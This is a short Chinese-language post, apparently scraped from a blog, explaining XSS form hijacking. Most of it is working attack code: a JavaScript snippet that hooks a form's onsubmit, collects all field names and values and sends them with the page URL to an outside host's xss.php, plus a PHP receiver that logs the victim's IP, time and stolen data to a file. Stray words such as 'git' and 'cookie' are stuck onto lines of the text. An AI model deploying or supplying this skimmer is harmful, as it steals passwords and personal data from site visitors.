你們都知道,在提交form表單時會調用onsubmit方法,既然調用了onsubmit,說明表單中該填的項確定都已經填好了,這時,咱們經過修改onsubmit方法,即可以獲取表單中的信息.php
xss.js:
git
var f=document.forms['from1']; if(f==undefined) { f=document.getElementById(''); } var func=f.onsubmit; f.onsubmit=function(event) { var str=''; for(var i=0;i<f.elements.length;i++) { str+=f.elements[i].name+':'+f.elements[i].value+'||'; } str=str.substr(0,str.length-2); var img=new Image(); img.src='https://blog.51cto.com/xss.php?data='+escape(str)+'&url='+escape(location.href); func(event); return true; }
根據各程序不一樣,修改表單名稱github
var f=document.forms['form1'];
接收端xss.phpcookie
<?php $ip = $_SERVER['REMOTE_ADDR']; $cookie = $_GET['data']; $url = $_GET['url']; $time = gmdate("H:i:s",time()+8*3600); $file = "jzking121.txt" ; $fp=fopen ("jzking121.txt","a") ; $txt= "$ip"."----"."$time"."----"."$cookie"."----"."$url"."\n"; fputs($fp,$txt); ?>
參考:xss
http://dwblog.github.io/2015/04/29/%E8%A1%A8%E5%8D%95%E5%8A%AB%E6%8C%81/ide